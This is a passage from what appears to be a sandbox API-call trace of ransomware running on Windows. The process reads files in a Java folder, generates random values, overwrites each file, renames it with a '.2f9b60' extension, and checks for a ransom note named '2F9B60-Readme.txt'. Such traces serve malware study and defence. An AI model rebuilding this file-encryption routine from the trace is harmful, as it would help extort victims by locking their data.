BaseAddress=0x1cec5e20) returned 1 [0166.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f45a0) returned 1 [0166.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18dc0 [0166.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0166.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429c45f0 [0166.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429c8200 [0166.675] ReadFile (in: hFile=0x2984, lpBuffer=0x429c45f0, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x256cf9d0, lpOverlapped=0x0 | out: lpBuffer=0x429c45f0*, lpNumberOfBytesRead=0x256cf9d0*=0x4d, lpOverlapped=0x0) returned 1 [0166.676] SetFilePointerEx (in: hFile=0x2984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.676] WriteFile (in: hFile=0x2984, lpBuffer=0x429c8200*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x256cf9d4, lpOverlapped=0x0 | out: lpBuffer=0x429c8200*, lpNumberOfBytesWritten=0x256cf9d4*=0x4d, lpOverlapped=0x0) returned 1 [0183.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31cd0 [0183.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31d00 [0183.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31d00) returned 1 [0183.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429c8200) returned 1 [0183.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429c45f0) returned 1 [0183.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0183.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18dc0) returned 1 [0183.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d31d00 [0183.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18dc0 [0183.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5e20 [0183.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31d30 [0183.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31d30) returned 1 [0183.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42d31d30 [0183.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31d60 [0183.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31d90 [0183.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31d90) returned 1 [0183.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5e20) returned 1 [0183.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18dc0) returned 1 [0183.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x4313e720 [0187.955] SetFilePointerEx (in: hFile=0x2984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.955] WriteFile (in: hFile=0x2984, lpBuffer=0x4313e720*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x256cfaf0, lpOverlapped=0x0 | out: lpBuffer=0x4313e720*, lpNumberOfBytesWritten=0x256cfaf0*=0xfe, lpOverlapped=0x0) returned 1 [0202.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a930 [0202.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33470 [0202.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33470) returned 1 [0202.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x42c0f1e0 [0202.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33470 [0202.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33440 [0202.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33440) returned 1 [0202.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a930) returned 1 [0202.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x42d33440 [0202.801] sprintf (in: _Dest=0x42d33440, _Format="%c%c" | out: _Dest="1d") returned 2 [0202.801] sprintf (in: _Dest=0x42d33442, _Format="%c%c" | out: _Dest="3d") returned 2 [0202.801] sprintf (in: _Dest=0x42d33444, _Format="%c%c" | out: _Dest="fa") returned 2 [0202.801] sprintf (in: _Dest=0x42d33446, _Format="%c%c" | out: _Dest="d9") returned 2 [0202.801] sprintf (in: _Dest=0x42d33448, _Format="%c%c" | out: _Dest="a7") returned 2 [0202.801] sprintf (in: _Dest=0x42d3344a, _Format="%c%c" | out: _Dest="7e") returned 2 [0202.801] sprintf (in: _Dest=0x42d3344c, _Format="%c%c" | out: _Dest="ac") returned 2 [0202.801] sprintf (in: _Dest=0x42d3344e, _Format="%c%c" | out: _Dest="7a") returned 2 [0202.801] sprintf (in: _Dest=0x42d33450, _Format="%c%c" | out: _Dest="ab") returned 2 [0202.801] sprintf (in: _Dest=0x42d33452, _Format="%c%c" | out: _Dest="8f") returned 2 [0202.801] sprintf (in: _Dest=0x42d33454, _Format="%c%c" | out: _Dest="5c") returned 2 [0202.801] sprintf (in: _Dest=0x42d33456, _Format="%c%c" | out: _Dest="90") returned 2 [0202.801] RtlInitAnsiString (in: DestinationString=0x256cfb68, SourceString="1d3dfad9a77eac7aab8f5c90" | out: DestinationString="1d3dfad9a77eac7aab8f5c90") [0202.801] RtlAnsiStringToUnicodeString (in: DestinationString=0x256cfb38, SourceString="1d3dfad9a77eac7aab8f5c90", AllocateDestinationString=1 | out: DestinationString="1d3dfad9a77eac7aab8f5c90") returned 0x0 [0202.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f930 [0202.802] wcscat (in: _Dest=0x431a39b0, _Source="1d3dfa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa" [0202.802] wcscat (in: _Dest=0x431a39b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa.2f9b60" [0202.802] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa.2f9b60", NtPathName=0x256cfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\1d3dfa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4319dee0 [0237.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319dee0) returned 1 [0237.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321d740) returned 1 [0237.699] NtQueryInformationFile (in: FileHandle=0x2984, IoStatusBlock=0x256cfb78, FileInformation=0x256cfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x256cfb78, FileInformation=0x256cfb88) returned 0x0 [0237.699] NtSetInformationFile (FileHandle=0x2984, IoStatusBlock=0x256cfb78, FileInformation=0x256cfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a39b0) returned 1 [0237.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f930) returned 1 [0237.955] FlushFileBuffers (hFile=0x2984) returned 1 [0238.247] CloseHandle (hObject=0x2984) returned 1 [0241.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a4460 [0241.698] wcscpy (in: _Dest=0x431a4460, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.698] wcscat (in: _Dest=0x431a4460, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.678] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a4460) returned 1 [0243.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebed80) returned 1 Thread: id = 2808 os_tid = 0x19b0 [0159.886] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\blantyre")) returned 0x20 [0165.801] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre", dwFileAttributes=0x20) returned 1 [0166.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\blantyre"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2988 [0166.642] GetFileSizeEx (in: hFile=0x2988, lpFileSize=0x252af8e0 | out: lpFileSize=0x252af8e0*=65) returned 1 [0166.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0166.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4630 [0166.643] NtQuerySystemTime (in: CurrentTime=0x252af7a0 | out: CurrentTime=0x252af7a0*=132462177717634000) returned 0x0 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x370bbf66 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x5d0b9118 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x624db6b6 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x37457863 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0xc39c97c [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7f0a5e42 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x63b33589 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x5e182080 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x481acab6 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x5a34d6ac [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x30491084 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x4d079948 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7b89a4fe [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x1e2c0e20 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x2706a96a [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x41e8930a [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0xc65215a [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x703c3a49 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x1615653d [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x3052d917 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x8fea8d9 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x1e26ff76 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7229b5e6 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x71f7166c [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x5b61541d [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7bb9efea [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x1f8e5de6 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7ea9dc79 [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x1753a95d [0166.643] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x4188164a [0166.644] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x7ca06c1b [0166.644] RtlRandomEx (in: Seed=0x252af790 | out: Seed=0x252af790) returned 0x6e1dbeed [0166.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4690 [0166.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0166.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4660 [0166.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0166.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4630) returned 1 [0166.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18eb0 [0166.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0166.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a97240 [0166.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a9ae50 [0166.654] ReadFile (in: hFile=0x2988, lpBuffer=0x42a97240, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x252af790, lpOverlapped=0x0 | out: lpBuffer=0x42a97240*, lpNumberOfBytesRead=0x252af790*=0x41, lpOverlapped=0x0) returned 1 [0166.656] SetFilePointerEx (in: hFile=0x2988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.656] WriteFile (in: hFile=0x2988, lpBuffer=0x42a9ae50*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x252af794, lpOverlapped=0x0 | out: lpBuffer=0x42a9ae50*, lpNumberOfBytesWritten=0x252af794*=0x41, lpOverlapped=0x0) returned 1 [0183.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a60 [0183.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31a90 [0183.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31a90) returned 1 [0183.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a9ae50) returned 1 [0183.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a97240) returned 1 [0183.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0183.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18eb0) returned 1 [0183.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d31a90 [0183.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18eb0 [0183.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec5fa0 [0183.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31ac0 [0183.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31ac0) returned 1 [0183.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x42d31ac0 [0183.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31af0 [0183.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31b20 [0183.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31b20) returned 1 [0183.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec5fa0) returned 1 [0183.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18eb0) returned 1 [0183.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x43132720 [0187.484] SetFilePointerEx (in: hFile=0x2988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.484] WriteFile (in: hFile=0x2988, lpBuffer=0x43132720*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x252af8b0, lpOverlapped=0x0 | out: lpBuffer=0x43132720*, lpNumberOfBytesWritten=0x252af8b0*=0x102, lpOverlapped=0x0) returned 1 [0202.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0202.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2e40) returned 1 [0202.966] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d520 [0202.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e40 [0202.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e10 [0202.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2e10) returned 1 [0202.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdb2e10 [0202.969] sprintf (in: _Dest=0x1cdb2e10, _Format="%c%c" | out: _Dest="00") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e12, _Format="%c%c" | out: _Dest="a6") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e14, _Format="%c%c" | out: _Dest="cf") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e16, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e18, _Format="%c%c" | out: _Dest="5e") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e1a, _Format="%c%c" | out: _Dest="0f") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e1c, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e1e, _Format="%c%c" | out: _Dest="48") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e20, _Format="%c%c" | out: _Dest="c3") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e22, _Format="%c%c" | out: _Dest="37") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e24, _Format="%c%c" | out: _Dest="48") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e26, _Format="%c%c" | out: _Dest="d0") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e28, _Format="%c%c" | out: _Dest="ca") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e2a, _Format="%c%c" | out: _Dest="ad") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e2c, _Format="%c%c" | out: _Dest="51") returned 2 [0202.969] sprintf (in: _Dest=0x1cdb2e2e, _Format="%c%c" | out: _Dest="25") returned 2 [0202.969] RtlInitAnsiString (in: DestinationString=0x252af928, SourceString="00a6cff45e0fc448c33748d0caad5125" | out: DestinationString="00a6cff45e0fc448c33748d0caad5125") [0202.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x252af8f8, SourceString="00a6cff45e0fc448c33748d0caad5125", AllocateDestinationString=1 | out: DestinationString="00a6cff45e0fc448c33748d0caad5125") returned 0x0 [0202.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62140 [0202.970] wcscat (in: _Dest=0x431a3fe0, _Source="00a6cff4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4" [0202.970] wcscat (in: _Dest=0x431a3fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4.2f9b60" [0202.970] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4.2f9b60", NtPathName=0x252af8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\00a6cff4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x43130880 [0237.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43130880) returned 1 [0237.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43220530) returned 1 [0237.695] NtQueryInformationFile (in: FileHandle=0x2988, IoStatusBlock=0x252af938, FileInformation=0x252af948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x252af938, FileInformation=0x252af948) returned 0x0 [0237.695] NtSetInformationFile (FileHandle=0x2988, IoStatusBlock=0x252af938, FileInformation=0x252af948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3fe0) returned 1 [0237.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62140) returned 1 [0237.958] FlushFileBuffers (hFile=0x2988) returned 1 [0238.249] CloseHandle (hObject=0x2988) returned 1 [0241.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3ec0 [0241.702] wcscpy (in: _Dest=0x431a3ec0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.702] wcscat (in: _Dest=0x431a3ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.702] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3ec0) returned 1 [0243.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebee00) returned 1 Thread: id = 2809 os_tid = 0x19b4 [0159.887] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\brazzaville")) returned 0x20 [0165.802] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville", dwFileAttributes=0x20) returned 1 [0166.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\brazzaville"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2990 [0166.553] GetFileSizeEx (in: hFile=0x2990, lpFileSize=0x2c2afc60 | out: lpFileSize=0x2c2afc60*=65) returned 1 [0166.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f40 [0166.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4750 [0166.554] NtQuerySystemTime (in: CurrentTime=0x2c2afb20 | out: CurrentTime=0x2c2afb20*=132462177716698000) returned 0x0 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x383c7f85 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x5f8887dc [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x666f713c [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x32dc79dd [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x5fb3d462 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x3063b039 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x518f8f02 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x5e7961a1 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x36f09e09 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x6225711a [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x39b10352 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x51477c56 [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x7daf665b [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | out: Seed=0x2c2afb10) returned 0x48f941ac [0166.554] RtlRandomEx (in: Seed=0x2c2afb10 | 